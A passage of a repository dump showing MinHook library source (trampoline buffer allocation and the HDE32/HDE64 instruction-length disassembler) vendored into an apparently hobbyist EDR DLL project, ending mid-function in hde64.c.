91 | ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
92 |
93 | // Round down to the allocation granularity.
94 | tryAddr -= tryAddr % dwAllocationGranularity;
95 |
96 | // Start from the previous allocation granularity multiply.
97 | tryAddr -= dwAllocationGranularity;
98 |
99 | while (tryAddr >= (ULONG_PTR)pMinAddr)
100 | {
101 | MEMORY_BASIC_INFORMATION mbi;
102 | if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
103 | break;
104 |
105 | if (mbi.State == MEM_FREE)
106 | return (LPVOID)tryAddr;
107 |
108 | if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity)
109 | break;
110 |
111 | tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity;
112 | }
113 |
114 | return NULL;
115 | }
116 | #endif
117 |
118 | //-------------------------------------------------------------------------
119 | #if defined(_M_X64) || defined(__x86_64__)
120 | static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity)
121 | {
122 | ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
123 |
124 | // Round down to the allocation granularity.
125 | tryAddr -= tryAddr % dwAllocationGranularity;
126 |
127 | // Start from the next allocation granularity multiply.
128 | tryAddr += dwAllocationGranularity;
129 |
130 | while (tryAddr <= (ULONG_PTR)pMaxAddr)
131 | {
132 | MEMORY_BASIC_INFORMATION mbi;
133 | if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
134 | break;
135 |
136 | if (mbi.State == MEM_FREE)
137 | return (LPVOID)tryAddr;
138 |
139 | tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
140 |
141 | // Round up to the next allocation granularity.
142 | tryAddr += dwAllocationGranularity - 1;
143 | tryAddr -= tryAddr % dwAllocationGranularity;
144 | }
145 |
146 | return NULL;
147 | }
148 | #endif
149 |
150 | //-------------------------------------------------------------------------
151 | static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin)
152 | {
153 | PMEMORY_BLOCK pBlock;
154 | #if defined(_M_X64) || defined(__x86_64__)
155 | ULONG_PTR minAddr;
156 | ULONG_PTR maxAddr;
157 |
158 | SYSTEM_INFO si;
159 | GetSystemInfo(&si);
160 | minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress;
161 | maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress;
162 |
163 | // pOrigin ± 512MB
164 | if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE)
165 | minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE;
166 |
167 | if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE)
168 | maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE;
169 |
170 | // Make room for MEMORY_BLOCK_SIZE bytes.
171 | maxAddr -= MEMORY_BLOCK_SIZE - 1;
172 | #endif
173 |
174 | // Look the registered blocks for a reachable one.
175 | for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext)
176 | {
177 | #if defined(_M_X64) || defined(__x86_64__)
178 | // Ignore the blocks too far.
179 | if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr)
180 | continue;
181 | #endif
182 | // The block has at least one unused slot.
183 | if (pBlock->pFree != NULL)
184 | return pBlock;
185 | }
186 |
187 | #if defined(_M_X64) || defined(__x86_64__)
188 | // Alloc a new block above if not found.
189 | {
190 | LPVOID pAlloc = pOrigin;
191 | while ((ULONG_PTR)pAlloc >= minAddr)
192 | {
193 | pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity);
194 | if (pAlloc == NULL)
195 | break;
196 |
197 | pBlock = (PMEMORY_BLOCK)VirtualAlloc(
198 | pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
199 | if (pBlock != NULL)
200 | break;
201 | }
202 | }
203 |
204 | // Alloc a new block below if not found.
205 | if (pBlock == NULL)
206 | {
207 | LPVOID pAlloc = pOrigin;
208 | while ((ULONG_PTR)pAlloc <= maxAddr)
209 | {
210 | pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
211 | if (pAlloc == NULL)
212 | break;
213 |
214 | pBlock = (PMEMORY_BLOCK)VirtualAlloc(
215 | pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
216 | if (pBlock != NULL)
217 | break;
218 | }
219 | }
220 | #else
221 | // In x86 mode, a memory block can be placed anywhere.
222 | pBlock = (PMEMORY_BLOCK)VirtualAlloc(
223 | NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
224 | #endif
225 |
226 | if (pBlock != NULL)
227 | {
228 | // Build a linked list of all the slots.
229 | PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1;
230 | pBlock->pFree = NULL;
231 | pBlock->usedCount = 0;
232 | do
233 | {
234 | pSlot->pNext = pBlock->pFree;
235 | pBlock->pFree = pSlot;
236 | pSlot++;
237 | } while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE);
238 |
239 | pBlock->pNext = g_pMemoryBlocks;
240 | g_pMemoryBlocks = pBlock;
241 | }
242 |
243 | return pBlock;
244 | }
245 |
246 | //-------------------------------------------------------------------------
247 | LPVOID AllocateBuffer(LPVOID pOrigin)
248 | {
249 | PMEMORY_SLOT pSlot;
250 | PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin);
251 | if (pBlock == NULL)
252 | return NULL;
253 |
254 | // Remove an unused slot from the list.
255 | pSlot = pBlock->pFree;
256 | pBlock->pFree = pSlot->pNext;
257 | pBlock->usedCount++;
258 | #ifdef _DEBUG
259 | // Fill the slot with INT3 for debugging.
260 | memset(pSlot, 0xCC, sizeof(MEMORY_SLOT));
261 | #endif
262 | return pSlot;
263 | }
264 |
265 | //-------------------------------------------------------------------------
266 | VOID FreeBuffer(LPVOID pBuffer)
267 | {
268 | PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
269 | PMEMORY_BLOCK pPrev = NULL;
270 | ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE;
271 |
272 | while (pBlock != NULL)
273 | {
274 | if ((ULONG_PTR)pBlock == pTargetBlock)
275 | {
276 | PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer;
277 | #ifdef _DEBUG
278 | // Clear the released slot for debugging.
279 | memset(pSlot, 0x00, sizeof(*pSlot));
280 | #endif
281 | // Restore the released slot to the list.
282 | pSlot->pNext = pBlock->pFree;
283 | pBlock->pFree = pSlot;
284 | pBlock->usedCount--;
285 |
286 | // Free if unused.
287 | if (pBlock->usedCount == 0)
288 | {
289 | if (pPrev)
290 | pPrev->pNext = pBlock->pNext;
291 | else
292 | g_pMemoryBlocks = pBlock->pNext;
293 |
294 | VirtualFree(pBlock, 0, MEM_RELEASE);
295 | }
296 |
297 | break;
298 | }
299 |
300 | pPrev = pBlock;
301 | pBlock = pBlock->pNext;
302 | }
303 | }
304 |
305 | //-------------------------------------------------------------------------
306 | BOOL IsExecutableAddress(LPVOID pAddress)
307 | {
308 | MEMORY_BASIC_INFORMATION mi;
309 | VirtualQuery(pAddress, &mi, sizeof(mi));
310 |
311 | return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS));
312 | }
313 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/buffer.h:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2017 Tsuda Kageyu.
4 | * All rights reserved.
5 | *
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions
8 | * are met:
9 | *
10 | * 1. Redistributions of source code must retain the above copyright
11 | * notice, this list of conditions and the following disclaimer.
12 | * 2. Redistributions in binary form must reproduce the above copyright
13 | * notice, this list of conditions and the following disclaimer in the
14 | * documentation and/or other materials provided with the distribution.
15 | *
16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 | */
28 |
29 | #pragma once
30 |
31 | // Size of each memory slot.
32 | #if defined(_M_X64) || defined(__x86_64__)
33 | #define MEMORY_SLOT_SIZE 64
34 | #else
35 | #define MEMORY_SLOT_SIZE 32
36 | #endif
37 |
38 | VOID InitializeBuffer(VOID);
39 | VOID UninitializeBuffer(VOID);
40 | LPVOID AllocateBuffer(LPVOID pOrigin);
41 | VOID FreeBuffer(LPVOID pBuffer);
42 | BOOL IsExecutableAddress(LPVOID pAddress);
43 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hde/hde32.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 32 C
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | */
7 |
8 | #if defined(_M_IX86) || defined(__i386__)
9 |
10 | #include "hde32.h"
11 | #include "table32.h"
12 |
13 | unsigned int hde32_disasm(const void *code, hde32s *hs)
14 | {
15 | uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
16 | uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0;
17 |
18 | // Avoid using memset to reduce the footprint.
19 | #ifndef _MSC_VER
20 | memset((LPBYTE)hs, 0, sizeof(hde32s));
21 | #else
22 | __stosb((LPBYTE)hs, 0, sizeof(hde32s));
23 | #endif
24 |
25 | for (x = 16; x; x--)
26 | switch (c = *p++) {
27 | case 0xf3:
28 | hs->p_rep = c;
29 | pref |= PRE_F3;
30 | break;
31 | case 0xf2:
32 | hs->p_rep = c;
33 | pref |= PRE_F2;
34 | break;
35 | case 0xf0:
36 | hs->p_lock = c;
37 | pref |= PRE_LOCK;
38 | break;
39 | case 0x26: case 0x2e: case 0x36:
40 | case 0x3e: case 0x64: case 0x65:
41 | hs->p_seg = c;
42 | pref |= PRE_SEG;
43 | break;
44 | case 0x66:
45 | hs->p_66 = c;
46 | pref |= PRE_66;
47 | break;
48 | case 0x67:
49 | hs->p_67 = c;
50 | pref |= PRE_67;
51 | break;
52 | default:
53 | goto pref_done;
54 | }
55 | pref_done:
56 |
57 | hs->flags = (uint32_t)pref << 23;
58 |
59 | if (!pref)
60 | pref |= PRE_NONE;
61 |
62 | if ((hs->opcode = c) == 0x0f) {
63 | hs->opcode2 = c = *p++;
64 | ht += DELTA_OPCODES;
65 | } else if (c >= 0xa0 && c <= 0xa3) {
66 | if (pref & PRE_67)
67 | pref |= PRE_66;
68 | else
69 | pref &= ~PRE_66;
70 | }
71 |
72 | opcode = c;
73 | cflags = ht[ht[opcode / 4] + (opcode % 4)];
74 |
75 | if (cflags == C_ERROR) {
76 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
77 | cflags = 0;
78 | if ((opcode & -3) == 0x24)
79 | cflags++;
80 | }
81 |
82 | x = 0;
83 | if (cflags & C_GROUP) {
84 | uint16_t t;
85 | t = *(uint16_t *)(ht + (cflags & 0x7f));
86 | cflags = (uint8_t)t;
87 | x = (uint8_t)(t >> 8);
88 | }
89 |
90 | if (hs->opcode2) {
91 | ht = hde32_table + DELTA_PREFIXES;
92 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
93 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
94 | }
95 |
96 | if (cflags & C_MODRM) {
97 | hs->flags |= F_MODRM;
98 | hs->modrm = c = *p++;
99 | hs->modrm_mod = m_mod = c >> 6;
100 | hs->modrm_rm = m_rm = c & 7;
101 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
102 |
103 | if (x && ((x << m_reg) & 0x80))
104 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
105 |
106 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
107 | uint8_t t = opcode - 0xd9;
108 | if (m_mod == 3) {
109 | ht = hde32_table + DELTA_FPU_MODRM + t*8;
110 | t = ht[m_reg] << m_rm;
111 | } else {
112 | ht = hde32_table + DELTA_FPU_REG;
113 | t = ht[t] << m_reg;
114 | }
115 | if (t & 0x80)
116 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
117 | }
118 |
119 | if (pref & PRE_LOCK) {
120 | if (m_mod == 3) {
121 | hs->flags |= F_ERROR | F_ERROR_LOCK;
122 | } else {
123 | uint8_t *table_end, op = opcode;
124 | if (hs->opcode2) {
125 | ht = hde32_table + DELTA_OP2_LOCK_OK;
126 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
127 | } else {
128 | ht = hde32_table + DELTA_OP_LOCK_OK;
129 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
130 | op &= -2;
131 | }
132 | for (; ht != table_end; ht++)
133 | if (*ht++ == op) {
134 | if (!((*ht << m_reg) & 0x80))
135 | goto no_lock_error;
136 | else
137 | break;
138 | }
139 | hs->flags |= F_ERROR | F_ERROR_LOCK;
140 | no_lock_error:
141 | ;
142 | }
143 | }
144 |
145 | if (hs->opcode2) {
146 | switch (opcode) {
147 | case 0x20: case 0x22:
148 | m_mod = 3;
149 | if (m_reg > 4 || m_reg == 1)
150 | goto error_operand;
151 | else
152 | goto no_error_operand;
153 | case 0x21: case 0x23:
154 | m_mod = 3;
155 | if (m_reg == 4 || m_reg == 5)
156 | goto error_operand;
157 | else
158 | goto no_error_operand;
159 | }
160 | } else {
161 | switch (opcode) {
162 | case 0x8c:
163 | if (m_reg > 5)
164 | goto error_operand;
165 | else
166 | goto no_error_operand;
167 | case 0x8e:
168 | if (m_reg == 1 || m_reg > 5)
169 | goto error_operand;
170 | else
171 | goto no_error_operand;
172 | }
173 | }
174 |
175 | if (m_mod == 3) {
176 | uint8_t *table_end;
177 | if (hs->opcode2) {
178 | ht = hde32_table + DELTA_OP2_ONLY_MEM;
179 | table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM;
180 | } else {
181 | ht = hde32_table + DELTA_OP_ONLY_MEM;
182 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
183 | }
184 | for (; ht != table_end; ht += 2)
185 | if (*ht++ == opcode) {
186 | if (*ht++ & pref && !((*ht << m_reg) & 0x80))
187 | goto error_operand;
188 | else
189 | break;
190 | }
191 | goto no_error_operand;
192 | } else if (hs->opcode2) {
193 | switch (opcode) {
194 | case 0x50: case 0xd7: case 0xf7:
195 | if (pref & (PRE_NONE | PRE_66))
196 | goto error_operand;
197 | break;
198 | case 0xd6:
199 | if (pref & (PRE_F2 | PRE_F3))
200 | goto error_operand;
201 | break;
202 | case 0xc5:
203 | goto error_operand;
204 | }
205 | goto no_error_operand;
206 | } else
207 | goto no_error_operand;
208 |
209 | error_operand:
210 | hs->flags |= F_ERROR | F_ERROR_OPERAND;
211 | no_error_operand:
212 |
213 | c = *p++;
214 | if (m_reg <= 1) {
215 | if (opcode == 0xf6)
216 | cflags |= C_IMM8;
217 | else if (opcode == 0xf7)
218 | cflags |= C_IMM_P66;
219 | }
220 |
221 | switch (m_mod) {
222 | case 0:
223 | if (pref & PRE_67) {
224 | if (m_rm == 6)
225 | disp_size = 2;
226 | } else
227 | if (m_rm == 5)
228 | disp_size = 4;
229 | break;
230 | case 1:
231 | disp_size = 1;
232 | break;
233 | case 2:
234 | disp_size = 2;
235 | if (!(pref & PRE_67))
236 | disp_size <<= 1;
237 | }
238 |
239 | if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
240 | hs->flags |= F_SIB;
241 | p++;
242 | hs->sib = c;
243 | hs->sib_scale = c >> 6;
244 | hs->sib_index = (c & 0x3f) >> 3;
245 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
246 | disp_size = 4;
247 | }
248 |
249 | p--;
250 | switch (disp_size) {
251 | case 1:
252 | hs->flags |= F_DISP8;
253 | hs->disp.disp8 = *p;
254 | break;
255 | case 2:
256 | hs->flags |= F_DISP16;
257 | hs->disp.disp16 = *(uint16_t *)p;
258 | break;
259 | case 4:
260 | hs->flags |= F_DISP32;
261 | hs->disp.disp32 = *(uint32_t *)p;
262 | }
263 | p += disp_size;
264 | } else if (pref & PRE_LOCK)
265 | hs->flags |= F_ERROR | F_ERROR_LOCK;
266 |
267 | if (cflags & C_IMM_P66) {
268 | if (cflags & C_REL32) {
269 | if (pref & PRE_66) {
270 | hs->flags |= F_IMM16 | F_RELATIVE;
271 | hs->imm.imm16 = *(uint16_t *)p;
272 | p += 2;
273 | goto disasm_done;
274 | }
275 | goto rel32_ok;
276 | }
277 | if (pref & PRE_66) {
278 | hs->flags |= F_IMM16;
279 | hs->imm.imm16 = *(uint16_t *)p;
280 | p += 2;
281 | } else {
282 | hs->flags |= F_IMM32;
283 | hs->imm.imm32 = *(uint32_t *)p;
284 | p += 4;
285 | }
286 | }
287 |
288 | if (cflags & C_IMM16) {
289 | if (hs->flags & F_IMM32) {
290 | hs->flags |= F_IMM16;
291 | hs->disp.disp16 = *(uint16_t *)p;
292 | } else if (hs->flags & F_IMM16) {
293 | hs->flags |= F_2IMM16;
294 | hs->disp.disp16 = *(uint16_t *)p;
295 | } else {
296 | hs->flags |= F_IMM16;
297 | hs->imm.imm16 = *(uint16_t *)p;
298 | }
299 | p += 2;
300 | }
301 | if (cflags & C_IMM8) {
302 | hs->flags |= F_IMM8;
303 | hs->imm.imm8 = *p++;
304 | }
305 |
306 | if (cflags & C_REL32) {
307 | rel32_ok:
308 | hs->flags |= F_IMM32 | F_RELATIVE;
309 | hs->imm.imm32 = *(uint32_t *)p;
310 | p += 4;
311 | } else if (cflags & C_REL8) {
312 | hs->flags |= F_IMM8 | F_RELATIVE;
313 | hs->imm.imm8 = *p++;
314 | }
315 |
316 | disasm_done:
317 |
318 | if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
319 | hs->flags |= F_ERROR | F_ERROR_LENGTH;
320 | hs->len = 15;
321 | }
322 |
323 | return (unsigned int)hs->len;
324 | }
325 |
326 | #endif // defined(_M_IX86) || defined(__i386__)
327 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hde/hde32.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 32
3 | * Copyright (c) 2006-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | * hde32.h: C/C++ header file
7 | *
8 | */
9 |
10 | #ifndef _HDE32_H_
11 | #define _HDE32_H_
12 |
13 | /* stdint.h - C99 standard header
14 | * http://en.wikipedia.org/wiki/stdint.h
15 | *
16 | * if your compiler doesn't contain "stdint.h" header (for
17 | * example, Microsoft Visual C++), you can download file:
18 | * http://www.azillionmonkeys.com/qed/pstdint.h
19 | * and change next line to:
20 | * #include "pstdint.h"
21 | */
22 | #include "pstdint.h"
23 |
24 | #define F_MODRM 0x00000001
25 | #define F_SIB 0x00000002
26 | #define F_IMM8 0x00000004
27 | #define F_IMM16 0x00000008
28 | #define F_IMM32 0x00000010
29 | #define F_DISP8 0x00000020
30 | #define F_DISP16 0x00000040
31 | #define F_DISP32 0x00000080
32 | #define F_RELATIVE 0x00000100
33 | #define F_2IMM16 0x00000800
34 | #define F_ERROR 0x00001000
35 | #define F_ERROR_OPCODE 0x00002000
36 | #define F_ERROR_LENGTH 0x00004000
37 | #define F_ERROR_LOCK 0x00008000
38 | #define F_ERROR_OPERAND 0x00010000
39 | #define F_PREFIX_REPNZ 0x01000000
40 | #define F_PREFIX_REPX 0x02000000
41 | #define F_PREFIX_REP 0x03000000
42 | #define F_PREFIX_66 0x04000000
43 | #define F_PREFIX_67 0x08000000
44 | #define F_PREFIX_LOCK 0x10000000
45 | #define F_PREFIX_SEG 0x20000000
46 | #define F_PREFIX_ANY 0x3f000000
47 |
48 | #define PREFIX_SEGMENT_CS 0x2e
49 | #define PREFIX_SEGMENT_SS 0x36
50 | #define PREFIX_SEGMENT_DS 0x3e
51 | #define PREFIX_SEGMENT_ES 0x26
52 | #define PREFIX_SEGMENT_FS 0x64
53 | #define PREFIX_SEGMENT_GS 0x65
54 | #define PREFIX_LOCK 0xf0
55 | #define PREFIX_REPNZ 0xf2
56 | #define PREFIX_REPX 0xf3
57 | #define PREFIX_OPERAND_SIZE 0x66
58 | #define PREFIX_ADDRESS_SIZE 0x67
59 |
60 | #pragma pack(push,1)
61 |
62 | typedef struct {
63 | uint8_t len;
64 | uint8_t p_rep;
65 | uint8_t p_lock;
66 | uint8_t p_seg;
67 | uint8_t p_66;
68 | uint8_t p_67;
69 | uint8_t opcode;
70 | uint8_t opcode2;
71 | uint8_t modrm;
72 | uint8_t modrm_mod;
73 | uint8_t modrm_reg;
74 | uint8_t modrm_rm;
75 | uint8_t sib;
76 | uint8_t sib_scale;
77 | uint8_t sib_index;
78 | uint8_t sib_base;
79 | union {
80 | uint8_t imm8;
81 | uint16_t imm16;
82 | uint32_t imm32;
83 | } imm;
84 | union {
85 | uint8_t disp8;
86 | uint16_t disp16;
87 | uint32_t disp32;
88 | } disp;
89 | uint32_t flags;
90 | } hde32s;
91 |
92 | #pragma pack(pop)
93 |
94 | #ifdef __cplusplus
95 | extern "C" {
96 | #endif
97 |
98 | /* __cdecl */
99 | unsigned int hde32_disasm(const void *code, hde32s *hs);
100 |
101 | #ifdef __cplusplus
102 | }
103 | #endif
104 |
105 | #endif /* _HDE32_H_ */
106 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hde/hde64.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64 C
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | */
7 |
8 | #if defined(_M_X64) || defined(__x86_64__)
9 |
10 | #include "hde64.h"
11 | #include "table64.h"
12 |
13 | unsigned int hde64_disasm(const void *code, hde64s *hs)
14 | {
15 | uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
16 | uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
17 | uint8_t op64 = 0;
18 |
19 | // Avoid using memset to reduce the footprint.
20 | #ifndef _MSC_VER
21 | memset((LPBYTE)hs, 0, sizeof(hde64s));
22 | #else
23 | __stosb((LPBYTE)hs, 0, sizeof(hde64s));
24 | #endif
25 |
26 | for (x = 16; x; x--)
27 | switch (c = *p++) {
28 | case 0xf3:
29 | hs->p_rep = c;
30 | pref |= PRE_F3;
31 | break;
32 | case 0xf2:
33 | hs->p_rep = c;
34 | pref |= PRE_F2;
35 | break;
36 | case 0xf0:
37 | hs->p_lock = c;
38 | pref |= PRE_LOCK;
39 | break;
40 | case 0x26: case 0x2e: case 0x36:
41 | case 0x3e: case 0x64: case 0x65:
42 | hs->p_seg = c;
43 | pref |= PRE_SEG;
44 | break;
45 | case 0x66:
46 | hs->p_66 = c;
47 | pref |= PRE_66;
48 | break;
49 | case 0x67:
50 | hs->p_67 = c;
51 | pref |= PRE_67;
52 | break;
53 | default:
54 | goto pref_done;
55 | }
56 | pref_done:
57 |
58 | hs->flags = (uint32_t)pref << 23;
59 |
60 | if (!pref)
61 | pref |= PRE_NONE;
62 |
63 | if ((c & 0xf0) == 0x40) {
64 | hs->flags |= F_PREFIX_REX;
65 | if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
66 | op64++;
67 | hs->rex_r = (c & 7) >> 2;
68 | hs->rex_x = (c & 3) >> 1;
69 | hs->rex_b = c & 1;
70 | if (((c = *p++) & 0xf0) == 0x40) {
71 | opcode = c;
72 | goto error_opcode;
73 | }
74 | }
75 |
76 | if ((hs->opcode = c) == 0x0f) {
77 | hs->opcode2 = c = *p++;
78 | ht += DELTA_OPCODES;
79 | } else if (c >= 0xa0 && c <= 0xa3) {
80 | op64++;
81 | if (pref & PRE_67)
82 | pref |= PRE_66;
83 | else
84 | pref &= ~PRE_66;
85 | }
86 |
87 | opcode = c;
88 | cflags = ht[ht[opcode / 4] + (opcode % 4)];
89 |
90 | if (cflags == C_ERROR) {
91 | error_opcode:
92 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
93 | cflags = 0;
94 | if ((opcode & -3) == 0x24)
95 | cflags++;
96 | }
97 |
98 | x = 0;
99 | if (cflags & C_GROUP) {
100 | uint16_t t;
101 | t = *(uint16_t *)(ht + (cflags & 0x7f));
102 | cflags = (uint8_t)t;
103 | x = (uint8_t)(t >> 8);
104 | }
105 |
106 | if (hs->opcode2) {
107 | ht = hde64_table + DELTA_PREFIXES;
108 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
109 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
110 | }
111 |
112 | if (cflags & C_MODRM) {
113 | hs->flags |= F_MODRM;
114 | hs->modrm = c = *p++;
115 | hs->modrm_mod = m_mod = c >> 6;
116 | hs->modrm_rm = m_rm = c & 7;
117 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
118 |
119 | if (x && ((x << m_reg) & 0x80))
120 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
121 |
122 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
123 | uint8_t t = opcode - 0xd9;
124 | if (m_mod == 3) {
125 | ht = hde64_table + DELTA_FPU_MODRM + t*8;
126 | t = ht[m_reg] << m_rm;
127 | } else {
128 | ht = hde64_table + DELTA_FPU_REG;
129 | t = ht[t] << m_reg;
130 | }
131 | if (t & 0x80)
132 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
133 | }
134 |
135 | if (pref & PRE_LOCK) {
136 | if (m_mod == 3) {
137 | hs->flags |= F_ERROR | F_ERROR_LOCK;
138 | } else {
139 | uint8_t *table_end, op = opcode;
140 | if (hs->opcode2) {
141 | ht = hde64_table + DELTA_OP2_LOCK_OK;
142 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
143 | } else {
144 | ht = hde64_table + DELTA_OP_LOCK_OK;
145 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
146 | op &= -2;
147 | }
148 | for (; ht != table_end; ht++)
149 | if (*ht++ == op) {
150 | if (!((*ht << m_reg) & 0x80))
151 | goto no_lock_error;
152 | else
153 | break;
154 | }
155 | hs->flags |= F_ERROR | F_ERROR_LOCK;
156 | no_lock_error:
157 | ;
158 | }
159 | }
160 |
161 | if (hs->opcode2) {
162 | switch (opcode) {
163 | case 0x20: case 0x22:
164 | m_mod = 3;
165 | if (m_reg > 4 || m_reg == 1)
166 | goto error_operand;
167 | else
168 | goto no_error_operand;
169 | case 0x21: case 0x23:
170 | m_mod = 3;
171 | if (m_reg == 4 || m_reg == 5)
172 | goto error_operand;
173 | else
174 | goto no_error_operand;
175 | }
176 | } else {
177 | switch (opcode) {
178 | case 0x8c:
179 | if (m_reg > 5)
180 | goto error_operand;
181 | else
182 | goto no_error_operand;
183 | case 0x8e:
184 | if (m_reg == 1 || m_reg > 5)
185 | goto error_operand;
186 | else
187 | goto no_error_operand;
188 | }
189 | }
190 |
191 | if (m_mod == 3) {
192 | uint8_t *table_end;
193 | if (hs->opcode2) {
194 | ht = hde64_table + DELTA_OP2_ONLY_MEM;
195 | table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
196 | } else {
197 | ht = hde64_table + DELTA_OP_ONLY_MEM;
198 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
199 | }
200 | for (; ht != table_end; ht += 2)
201 | if (*ht++ == opcode) {
202 | if (*ht++ & pref && !((*ht << m_reg) & 0x80))
203 | goto error_operand;
204 | else
205 | break;
206 | }
207 | goto no_error_operand;
208 | } else if (hs->opcode2) {
209 | switch (opcode) {
210 | case 0x50: case 0xd7: case 0xf7:
211 | if (pref & (PRE_NONE | PRE_66))
212 | goto error_operand;
213 | break;
214 | case 0xd6:
215 | if (pref & (PRE_F2 | PRE_F3))
216 | goto error_operand;
217 | break;
218 | case 0xc5:
219 | goto error_operand;
220 | }
221 | goto no_error_operand;
222 | } else
223 | goto no_error_operand;
224 |
225 | error_operand:
226 | hs->flags |= F_ERROR | F_ERROR_OPERAND;
227 | no_error_operand:
228 |
229 | c = *p++;
230 | if (m_reg <= 1) {
231 | if (opcode == 0xf6)
232 | cflags |= C_IMM8;
233 | else if (opcode == 0xf7)
234 | cflags |= C_IMM_P66;
